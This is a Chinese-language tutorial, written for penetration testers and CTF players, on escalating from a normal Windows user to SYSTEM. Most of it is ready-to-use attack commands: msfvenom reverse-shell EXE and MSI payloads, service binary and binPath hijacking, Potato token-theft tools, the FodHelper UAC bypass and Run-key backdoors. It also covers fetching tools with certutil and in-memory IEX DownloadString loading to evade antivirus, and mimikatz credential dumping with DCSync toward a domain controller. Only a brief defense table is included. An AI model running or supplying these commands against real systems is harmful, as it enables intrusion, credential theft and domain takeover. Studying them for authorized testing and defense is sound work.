【教程】Windows提权实战:从普通用户到SYSTEM全路径
适合人群:渗透测试初学者、红队成员、CTF选手
前置知识:Windows基本命令、用户权限概念、网络基础
实验环境:Windows 10/Server 2022 虚拟机(建议在隔离环境中操作)
一、前置准备
1.1 工具准备
# 信息收集脚本 — 一键扫描提权线索
# 上传到目标机后执行
# winPEAS (推荐,功能最全)
# 下载: https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe
# PowerUp — PowerShell提权检查
# Import-Module .\PowerUp.ps1; Invoke-AllChecks
# SharpUp — C#版快速检查
# 下载: https://github.com/GhostPack/SharpUp
# Windows Exploit Suggester — 内核漏洞检测
# https://github.com/AonCyberLabs/Windows-Exploit-Suggester
1.2 环境准备(靶场搭建)
# 创建低权限测试用户
net user lowuser Passw0rd! /add
net localgroup users lowuser /add
# 常见测试场景:以低权限用户登录
runas /user:lowuser cmd
# 或通过 Webshell/Beacon 获得初始 Shell 后操作
whoami
# → xxxxxx\lowuser
二、核心原理
Windows提权的本质
从低权限用户(User/Network Service)获取更高权限(Administrator/SYSTEM)的过程
Windows 的权限体系金字塔:
SYSTEM(最高 — 内核级权限)
↑
Administrator(管理员 — 可安装软件、修改配置)
↑
Standard User(标准用户 — 受限)
↑
Guest / Network Service(最低)
五种核心提权路径
| 路径 | 原理 | 利用难度 | 实战频率 |
|---|---|---|---|
| 内核漏洞 | 利用Windows内核bug直接提权 | ⭐⭐⭐⭐⭐ | 低(需要补丁缺失) |
| 服务权限配置 | 服务启动路径/权限配置可写 | ⭐⭐ | 很高 |
| 令牌窃取 | 窃取高权限进程的Impersonation Token | ⭐⭐ | 很高 |
| AlwaysInstallElevated | MSI安装包以SYSTEM权限运行 | ⭐ | 中等 |
| UAC绕过 | 以管理员身份但UAC弹窗未提权,绕过到high integrity | ⭐⭐⭐ | 较高 |
| 注册表/计划任务 | 可写注册表Run键、计划任务劫持 | ⭐⭐ | 较高 |
信息收集 — 提权的第一步(最关键)
# 查看当前用户权限
whoami /all
# 查看系统信息(版本、补丁)
systeminfo
# 查看已安装的补丁
wmic qfe list brief
# 查看进程列表
tasklist /v
# 查看服务
wmic service list brief
# 查看计划任务
schtasks /query /fo LIST /v
三、实操步骤
🔴 场景一:服务权限配置错误(最经典)
原理:Windows 服务的 BINARY_PATH_NAME 或可执行文件所在目录权限配置不当,低权限用户可以修改。
Step 1:查找可写服务
# 使用 winPEAS 快速扫描
winPEASx64.exe servicesinfo
# 或手动使用 sc 查询
sc query state= all | findstr "SERVICE_NAME"
# 检查每个服务的二进制路径权限
# 重点:BINARY_PATH_NAME 所在目录当前用户有写入权限
icacls "C:\Program Files\SomeService\service.exe"
Step 2:替换服务二进制
# 如果服务二进制所在目录当前用户可写
# 生成恶意 exe(在攻击机上用 msfvenom)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=x.x.x.x LPORT=4444 -f exe -o evil.exe
# 上传到目标机,替换服务文件
copy evil.exe "C:\Program Files\SomeService\service.exe"
# 重启服务触发 payload
sc stop SomeService
sc start SomeService
# 或等待服务器重启
Step 3:更简单的方式 — 修改 BINARY_PATH_NAME
# 如果当前用户对目标服务有 SERVICE_CHANGE_CONFIG 权限
# 直接修改服务启动路径
sc config SomeService binPath= "cmd /c net localgroup administrators lowuser /add"
sc stop SomeService
sc start SomeService
# 验证
net localgroup administrators
🔴 场景二:令牌窃取(Token Impersonation)
原理:低权限进程如果有 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege,可窃取高权限进程的令牌。
Step 1:检查令牌权限
whoami /priv
# 重点关注以下权限
# SeImpersonatePrivilege — 模拟令牌
# SeAssignPrimaryTokenPrivilege — 分配主令牌
# SeTcbPrivilege — 作为操作系统一部分(等价SYSTEM)
权限清单:
| 权限 | 说明 | 存在即可利用 |
|---|---|---|
| SeImpersonatePrivilege | 模拟用户令牌 | ✅ JuicyPotato/RoguePotato |
| SeAssignPrimaryTokenPrivilege | 分配主令牌 | ✅ PrintSpoofer/PipePotato |
| SeTcbPrivilege | 操作系统特权 | ✅ 直接SYSTEM |
| SeBackupPrivilege | 备份权限 | ✅ 可读注册表SAM |
| SeDebugPrivilege | 调试权限 | ✅ 注入其他进程 |
Step 2:使用工具窃取令牌
# 方式一:JuicyPotatoNG(Windows Server 2008-2019)
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami > C:\temp\result.txt"
# 方式二:PrintSpoofer(Windows 10/Server 2016+ 推荐)
PrintSpoofer64.exe -i -c "cmd /c whoami"
# 方式三:GodPotato(Windows Server 2012-2022 通杀)
GodPotato.exe -cmd "cmd /c whoami"
# 方式四:通过 MSF 的 incognito 模块
load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
🔴 场景三:AlwaysInstallElevated
原理:两组注册表项被设置为 1 时,普通用户安装 MSI 包将以 SYSTEM 权限运行。
Step 1:检查注册表
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 两个都应返回 0x1
Step 2:生成恶意 MSI
# 攻击机上生成恶意 MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=x.x.x.x LPORT=5555 -f msi -o evil.msi
# 上传到目标机后执行
msiexec /quiet /qn /i evil.msi
注意:AlwaysInstallElevated 在域环境中不多见(安全基线通常关闭),但在某些本地配置和个人电脑上常出现。
🔴 场景四:UAC绕过
原理:用户是 Administrators 组成员,但进程以 medium integrity 运行,需要绕过 UAC 提升到 high integrity。
# 使用 FodHelper UAC绕过
# 修改注册表添加恶意键值
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\Windows\System32\cmd.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f
# 触发
fodhelper.exe
# 新窗口将以管理员权限运行
四、Payload 与速查表
Windows提权Payload速查表
| 场景 | 工具/命令 | 一句话操作 |
|---|---|---|
| 内核提权 | Windows-Exploit-Suggester | python wes.py systeminfo.txt → 匹配EXP |
| 服务劫持 | sc config / PowerUp | sc config VulnSvc binPath= "cmd /c ..." |
| 令牌窃取 | PrintSpoofer / GodPotato | PrintSpoofer64.exe -i -c whoami |
| AlwaysInstall | msfvenom MSI | msiexec /quiet /i evil.msi |
| UAC绕过 | FodHelper / EventVwr | reg add ... fodhelper.exe |
| DLL劫持 | Process Monitor | 找缺失的DLL路径 → 写入恶意DLL |
| 启动项劫持 | HKLM\...\Run | reg add HKLM\...\Run /v Backdoor /d "evil.exe" |
| 注册表Autorun | HKCU\...\RunOnce | reg add HKCU\...\RunOnce /v Updater /d "payload.exe" |
常用提权命令速查
# 1. 查看系统版本与补丁
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix"
# 2. 查看当前用户权限
whoami /groups
whoami /priv
# 3. 查找可写目录
icacls C:\Windows\Temp
icacls C:\ProgramData
icacls C:\Users\Public
# 4. 查找未引用的服务路径
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\"
# 5. 查看存储的凭据
cmdkey /list
dir /s C:\Users\*password* 2>nul
dir /s C:\Users\*cred* 2>nul
# 6. 查看计划任务
schtasks /query /fo LIST /v | findstr "Task To Run" /i
# 7. 查看注册表自动启动
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
五、实战案例复盘
案例:内网渗透中的Windows提权链
场景:通过Spring Boot漏洞获得 iis apppool\defaultapppool 权限的Webshell。
信息收集:
whoami /priv
# → SeImpersonatePrivilege 存在!
利用令牌窃取 → SYSTEM:
# 上传 PrintSpoofer
certutil -urlcache -f http://x.x.x.x/PrintSpoofer64.exe C:\temp\ps.exe
C:\temp\ps.exe -i -c "cmd /c whoami"
# → nt authority\system
横向移动:
# 拿到 SYSTEM 后导出域管理员凭据
mimikatz privilege::debug
mimikatz sekurlsa::logonpasswords
# 如果抓不到明文,用 DCSync
mimikatz lsadump::dcsync /domain:target.com /user:krbtgt
一句话总结:iis apppool → SeImpersonatePrivilege → PrintSpoofer → SYSTEM → DCSync → 域控,这条链在内网实战中出现频率极高。
六、防御建议
| 防御措施 | 说明 | 针对 |
|---|---|---|
| 及时打补丁 | 每月更新Windows安全补丁 | 内核提权 |
| 最小权限原则 | 服务使用低权限账户运行 | 服务劫持 |
| 关闭SeImpersonate | 服务账户移除模拟权限 | 令牌窃取 |
| 启用UAC | UAC级别设为始终通知 | UAC绕过 |
| 关闭AlwaysInstallElevated | 组策略设为0且禁止修改 | MSI提权 |
| 限制可写目录 | 系统目录禁止普通用户写入 | DLL劫持 |
| AppLocker | 限制白名单以外的程序执行 | 任意Payload |
| LAPS | 统一管理本地管理员密码 | 本地提权后横向 |
七、常见陷阱
⚠️ 陷阱1:误判系统架构
x86 的提权工具无法在 x64 进程执行。检查目标机架构再选工具:
# 检查系统架构
echo %PROCESSOR_ARCHITECTURE%
# AMD64 → 用64位工具
# x86 → 用32位工具
⚠️ 陷阱2:杀软拦截
上传提权工具可能被杀软拦截。应对方案:
# 1. 使用 PowerShell 内存加载
IEX(New-Object Net.WebClient).DownloadString('http://x.x.x.x/script.ps1')
# 2. 使用 C# 反射加载
# 3. 使用进程注入绕过扫描
# 4. 或使用自带工具(certutil/powershell/reg)
⚠️ 陷阱3:服务恢复设置
手动启动服务失败后,Windows可能配置服务恢复操作(如重启服务器)。操作前先查看:
sc qfailure VulnSvc
⚠️ 陷阱4:域策略限制
域环境下的组策略可能覆盖本地配置。AlwaysInstallElevated、UAC设置都受域策略影响——本地改了也没用,要检查 gpresult /z。
⚠️ 陷阱5:令牌窃取 — IIS版本兼容
- JuicyPotato 仅支持 Windows Server 2012/2016/2019(不支持 Win10 家庭版)
- PrintSpoofer 支持 Windows 10/11 + Server 2016/2019/2022
- GodPotato 支持范围最广(Server 2012-2022)
八、总结
Windows提权方法论流程图
获得低权限Shell
↓
信息收集(第一步也是最重要的一步)
├─ whoami /priv(检查特权)
├─ systeminfo(检查补丁)
├─ sc query(检查服务)
└─ 运行winPEAS(自动收集)
↓
判断最优提权路径
├─ SeImpersonatePrivilege → PrintSpoofer/GodPotato → SYSTEM
├─ 未修补漏洞 → Windows Exploit Suggester → MSF Exploit
├─ 可写服务路径 → sc config 替换二进制 → SYSTEM
├─ AlwaysInstallElevated=1 → msiexec恶意MSI → SYSTEM
├─ 在管理员组但UAC → FodHelper绕过 → 管理员
└─ 其他 → 检查计划任务/注册表Run/存储凭据
↓
提权成功 → 横向移动/凭据提取
核心速查
| 阶段 | 做什么 | 常用命令 |
|---|---|---|
| 信息收集 | 看什么能用 | whoami /priv, systeminfo, winPEAS |
| 快速提权 | 令牌窃取 | PrintSpoofer64.exe -i -c "cmd /c whoami" |
| 服务劫持 | 找可写路径 | icacls "C:\Program Files\*" |
| 内核漏洞 | 匹配EXP | python3 wes.py systeminfo.txt |
| 防御绕过 | 内存加载 | IEX (New-Object Net.WebClient).DownloadString(...) |
记住:实战中 80% 的提权靠信息收集,不是靠复杂的0day。跑一遍
winPEAS再决定提权路径,往往比盲目尝试各种工具更快。